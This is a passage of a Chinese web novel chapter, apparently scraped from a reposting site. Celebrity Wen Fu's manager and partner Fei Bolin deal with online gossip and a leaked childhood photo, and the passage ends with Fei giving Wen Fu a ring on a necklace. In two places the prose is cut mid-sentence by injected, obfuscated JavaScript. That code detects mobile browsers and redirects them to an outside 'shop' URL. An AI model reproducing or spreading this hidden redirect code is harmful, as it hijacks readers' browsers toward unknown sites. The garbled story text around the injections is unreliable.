而费薄林这几个月以来手机锁屏和桌面都没换过——还是过年时温伏参加颁奖典礼那组“蝴蝶骑士”的出发图。 他从不在媒体面前出席活动,也就那一次和温伏一起走过红毯,没想到因为模样招人,还真在网上红了一把,虽然打那以后也久不露面,但架不住娱乐圈里的代拍是只要能挣钱什么人都拍,费薄林光是给张朝打招呼买断跟拍温伏的狗仔,没想过自己也会有被偷拍的一天。 偏偏网友都是眼尖的,一张照片就给他扒出了手机壁纸。 不过热搜发酵到这时候,费薄林再看评论区,局势已经被粉丝控制住了。 【@就温你伏不伏:原来费董也是伏丝呀~[/眨眼][/调皮] @不要整天气伏伏:有些人造黄谣当心上法院哈[/可爱]@温伏工作室来活了,评论区说金主的都给我告[/星星眼]35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707413|117753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> @唏哩伏噜:人家董事长追个星怎么了?支持费董追星自由哈[/憧憬] ……】 很显然,粉丝在面对突然出现的舆论风波时都是把风向往最好的情况上带,即便不知道内幕是什么,她们也在尽最大的努力帮温伏控制口碑。 费薄林从来没有想过跟温伏公开,不管以后走到哪一步,他都不打算和温伏以恋人的关系出现在媒体平台。私下在一起是一回事,拿到明面上公布又是另一回事,不公开不仅仅是因为舆论会对温伏的事业造成不可估量的冲击,还有一部分很大原因是这样会辜负粉丝的心。‘ 这是他和温伏的共识,因此温伏在面对媒体时关于自己的私人状况是能不提就不提,硬被cue到就用雷黛教自己的话术糊弄过去,而粉丝们私下也从不追究和过问这方面的事,这是他和粉丝之间留给彼此的体面——那几个未成年私生除外。 只是粉丝愿意体面,媒体和路人就不一定了。 费薄林退出tag,又往下划动热搜列表,果不其然,什么#金主#,#温伏后台#,#资源咖#之类的词条都陆陆续续被挂在热搜上,点进去无一不是在讨论温伏和他的关系。 其中一条tag是#温伏哥哥#。 费薄林点进去,发现热门第一是温伏参加综艺的一个片段。 正是去年温伏去川西录的第一期节目。 剪辑片段里节目组在当时温伏租住的那套房子里进行录制和采访,温伏说自己的行礼是哥哥整理的,导演问他:“你还有哥哥?” 温伏在镜头前点头:“刚有的。” 当时这个片段刚播出时还因为温伏脑回路太搞笑被节目组拿来买过营销,如今再次被网友们提出来,风向则转变为了都在猜测他所说的这个哥哥是否就是费薄林,而那句“刚有的”,则被扭曲地解读为是温伏刚找到新金主的意思。 其中最热的一条评论是:金主是身份,哥哥是情趣。 费薄林不合时宜地挑了挑眉,在心里思索了一瞬要不要下次和温伏在床上玩一玩金主的cosplay。 至于温伏个人词条的微博广场上就很热闹了,有吃瓜看戏的,有对家买黑水军下死手造谣的,也有此祁彼伏cp粉当搅屎棍死不承认费薄林和温伏的关系的,更多是祁一川唯粉浑水摸鱼澄清祁一川从来清清白白不炒cp的。 雷黛的微信消息适时从窗口弹出来。 【@Stella:这还没完】 【@Stella:你们两兄弟一个也没消停的】 看得出来,这个平日里赚钱最大,以和为贵的金牌经纪人真到了急的时候还是懒得在费薄林面前客套。 【@Stella:[链接]】 【@Stella:你让温伏自己看了来跟我解释】 费薄林点进链接,是一个论坛的帖子。 发帖者仍是匿名momo,ip未知,贴子内容很简单,就是两张图片一行字。 虽然简短,但图片映入眼帘那一刻,费薄林却结结实实地晃了晃瞳孔。 照片里的温伏大概十二三岁,身后是一片漆黑树林,有一只手在后边揪住他的头发迫使他抬起头来面对开了闪光灯的摄像头。 温伏那张那张在闪光灯前下意识闭上眼的稚嫩的脸,在镜头下被打得鼻青脸肿,鲜血直流。 “momo”的爆料内容只有一句话: 温伏初中在男生宿舍偷钱,被抓到挨了顿打,挂在学校表白墙,至今可查。 下面的回复楼已经五六百层。 费薄林没有去翻评论和回复,不用想都能知道那些人说得会有多难听,可再切回微博,看到热搜上又多了“偷钱咖”三个字的时候,他还是没忍住把脸别向一边缓了口气。 他拿着温伏的手机和Stella继续通电话:“这件事我可以替他解释。” 103.第 103 章 他一边说,一边用自己的手机给张朝截图,让张朝联系官方把热搜上那些过于难听的词条给撤下去。 “……事情就是这样。”费薄林和雷黛通了近十分钟电话,才把温伏以前的事详略得当地说清楚,他已经不记得自己多少年没有像这样事无巨细地给别人解释一件事,“小伏……小时候过得一直不好,比在我身边那几年还不好。当初之所以没跟你说,一是觉得没必要,二是,也没来得及。” 毕竟当年的分别实在过于匆忙,费薄林不可能领着温伏在刚和雷黛认识的初阶段就把两人的身世透露个底儿掉,可到了温伏与雷黛熟识到需要交代一切的那一天,费薄林也不在他身边了。 费薄林不在身边,温伏就是没有目标的罗盘,连指针都不知道该往哪个方向转,童年时盗窃挨打这些对他而言早就习以为常的事,他根本意识不到是严重到需要上报给Stella预防舆论风险的程度。 那边Stella听完费薄林的话,反倒是松了口气,一个劲儿念叨:“那就没事儿了……那就没事儿。” 娱乐圈这种地方,怕的不是针对明星本人的突然爆料,而是怕面对那些爆料时经济公司毫不知情以至于没有翻盘的机会,多数情况下暴雷的艺人在被公司质问时不是死活不认就是含糊其辞,非得等事态发展到无可挽回的地步后才肯实话实说,到那时候,公司就是想收拾烂摊子也来不及了。 Stella又确认了一遍:“他没有主动犯过别的事儿吧?” 费薄林想了想:“还有一件。” 高中刚转来一中的那年,温伏伪装去抢劫那几个高年级的体育生,后来被人堵到校门口挨了顿打,这也正是他住进费薄林家里的开端。 虽然不确定当年那伙人在教训温伏时有没有留下照片或录像,但这也是事出有因,温伏不是真正的打劫,那几个体育生却是实实在在因为霸凌被开除学籍。只要会思考有脑子,当事人都不敢站出来爆料。 Stella听后也对此表示赞成,十分钟的通话时间让她理清了脑子里一团乱麻的思绪,几乎在听完费薄林的解释后她就想好了应对方案——温伏的所谓黑料根本算不上黑料,只要舆情风向扭转得好,甚至是一个极大的圈粉机会。 幼年失怙,流浪偷生,高中时又被费薄林这个“远方哥哥”收养,相依为命,最后靠自己的努力成为乐坛新星……这些八卦一串,都不需要团队主动卖惨,有人爆料,公司顺水推舟让温伏“不得已”重提这段不为人知的过往,怎么看都是送到眼前的热度和正向流量,毕竟现在的内娱,正儿八经惨成这样的明星不多了。 雷黛是个商人,知道把这些信息整理放出到什么程度能实现最大利益化,这些不需要费薄林操心。 “热搜暂时不用全撤。”雷黛提前跟费薄林打招呼,“交给我。正好过两天温伏有个新的珠宝代言要推封,让他把这些事儿在官宣代言和杂志访谈里一块儿回应,让词条再挂两天吧,涨涨热度。” 她说到这里话头一顿:“至于你和温伏——” 费薄林听出她试探的意思,干脆地说:“你觉得怎么回应合适?” “就说是哥哥吧。”雷黛心里石头落了地,“不回应不行,这种传言一旦沾上很影响艺人口碑,好在你和他的关系本来也是事实,就这么大大方方地说,我不信还有人敢查你的户口。” 这年头小明星被开盒扒身份证已经不足为奇,但谁要是敢开一个上市公司执行董事,那就得先做好上法院的准备。 费薄林不置可否,只是挂电话时说:“如果需要帮忙,随时联系张朝。” 客厅里恢复了安静。 费薄林望着手中息屏的两部手机,不知道在想什么。 过了几秒,他走进书房,把自己放在保险柜最底层的两个盒子拿了出来。 盒子里分别放着一支对戒,是他上次回锦城出差时藏在家里的,这副对戒费薄林挑了很久,是西班牙的小众品牌,国内没货,还是谢一宁托关系帮他在国外调取的。 本来想着找个特定的日子再给温伏戴上,但现在看…… 哄猫最重要。 考虑到温伏的工作和身份戴对戒容易引发争议,费薄林还特地定制了一条项链,把温伏的那枚戒指挂在项链上,一来是项链不如戒指那么容易在公众面前惹眼,二来由于温伏需要经常拍摄各种杂志或品牌物料再或者出席活动,身上妆造时常变换,项链不如戒指那么容易弄丢,出席场合时换取的频率也没戒指那么高。 温伏泡澡的时间差不多了,费薄林很清楚,这人是个要么不泡澡,一泡就不乐意起来的性格,如果他哪天把温伏丢进浴缸里去了,那也非得他亲自拎出来不可。 他把其中一枚对戒戴在自己无名指上,另一枚戒指用项链串好,中指穿过项链,其余部分握在手里,朝浴室走去。 温伏正静静躺在浴缸里,脖子以下全部浸入水中,只留个脑袋在外边呼吸。 眼睁睁看着费薄林走过来,他除了眼珠子浑身上下一动不动。 这是温伏独有的保存体力的方式,在水里最大限度地不消耗能量,为的就是每次在费薄林来揪他出浴缸的时候再负隅顽抗一会儿。 费薄林在浴缸边蹲下:“给你看个东西。” 温伏眨眨眼,不说话,在水里规矩得像个木乃伊。 费薄林对此习以为常,今天懒得收拾他,只把胳膊抬到温伏头顶,手心朝下一张,那枚被项链串好的戒指就吊在温伏面前。 温伏第一反应就是伸手去掏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707414|117753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>哗啦啦的水流顺着温伏举起来的胳膊往下淌,溅到地板上。费薄林早有预料,在温伏的手出水前麻利把项链往手里一收,温伏抓了个空。 温伏又把手放回水里,接着保持勿扰模式。 费薄林又把项链放下来。 温伏眼疾手快再次往上抓,又被费薄林先一步撤走。 温伏再次收手,黑不溜秋的眼珠子在灯光在明晃晃地注视着头顶上方费薄林的手,等待下一次项链放下来一举狩猎。 费薄林再放。 温伏再抓。 总是迟一步扑个空。 两个人跟较上劲似的,费薄林手里那项链变成了逗猫棒,温伏是越玩越精神。 来来回回了不下十来次,浴缸周围洒满了水,费薄林围在身上的浴巾也未能幸免。 “不玩了。”费薄林看温伏没有想停下来的意思,先行休战,冲温伏招招手,“过来。” 温伏把脑袋递过来,很自然地接受费薄林给他戴上了这条项链。 一边戴项链,费薄林一边趁机叮嘱:“这两天网上的消息别多看,看了也别去关注,Stella有事找你你就按她说的做,什么也别担心。” “哦。” 温伏低着脖子,发顶快埋到他颈窝里,回答的声音也像水团儿似的黏糊。 其实费薄林也知道,对于自己说的这些话,温伏根本不用他操心,那么多年身边没有他的叮嘱温伏也还是过来了,他把温伏从小养到大,最了解温伏从不把除他以外的人说的话放在心里。 “好了。”扣好扣子,费薄林摸着温伏头发让人抬头,“看看合不合适。” 温伏认真低头看了一眼:“合适。” 项链用了镀金工艺,吊坠部分的戒指很简约,是首尾衔接的莫比乌斯环款式,外围正中心嵌入一颗深色的绿宝石,并不大,和戒指一样属于秀气低调的风格。 费薄林平时给温伏买的这些小玩意儿很多,家里衣帽间总是时不时就多出几个零件,基本是费薄林走到哪逛到哪,看着觉得适合温伏就给订回家的。 这条项链在他买给温伏的诸多物件里不算稀奇,只是温伏眼尖,从费薄林手下退出去后瞥见了他无名指的戒指,看了一眼便问:“婚戒吗?” 费薄林微微一怔。 他看向自己的无名指,倒是还没想到“婚戒”这么个说法。 他抬起头反问温伏:“算结婚吗?” 温伏想了想,冒出两个字:“求婚?” 费薄林笑了起来。 这如果是求婚那未免也太简陋,乱七八糟的浴室,衣衫不整的两个人,一个平平无奇的黄昏。 费薄林问:“你接受吗?” 温伏点头,没觉得不好:“可以。”